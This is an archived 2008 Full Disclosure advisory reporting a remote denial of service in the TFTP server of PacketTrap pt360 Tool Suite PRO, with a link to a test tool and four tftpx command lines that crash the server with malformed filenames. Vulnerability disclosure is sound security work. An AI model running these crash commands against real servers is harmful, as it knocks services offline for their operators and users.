Full Disclosure mailing list archives
Denial of Service in PacketTrap TFTP server 2.0.3901.0
From: Luigi Auriemma <aluigi () autistici org>
Date: Mon, 10 Mar 2008 22:46:45 +0100
####################################################################### Luigi Auriemma Application: pt360 Tool Suite PRO http://www.packettrap.com/product/index.aspx Versions: <= 2.0.3901.0 Platforms: Windows Bug: Denial of Service of the TFTP server Exploitation: remote Date: 08 Mar 2008 Author: Luigi Auriemma e-mail: aluigi () autistici org web: aluigi.org ####################################################################### 1) Introduction 2) Bug 3) The Code 4) Fix ####################################################################### =============== 1) Introduction =============== pt360 is a suite of network tools. ####################################################################### ====== 2) Bug ====== The TFTP server implemented in the pt360 suite can be easily interrupted through the uploading of files with invalid names, in this case is raised an exception which blocks the TFTP component and forces the user to restart the whole application for re-running it. ####################################################################### =========== 3) The Code =========== http://aluigi.org/testz/tftpx.zip tftpx -u SERVER "\|" none tftpx -u SERVER "\"" none tftpx -u SERVER "<>" none tftpx -u -f SERVER 200 none ####################################################################### ====== 4) Fix ====== No fix ####################################################################### --- Luigi Auriemma http://aluigi.org _______________________________________________ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/
Current thread:
- Denial of Service in PacketTrap TFTP server 2.0.3901.0 Luigi Auriemma (Mar 10)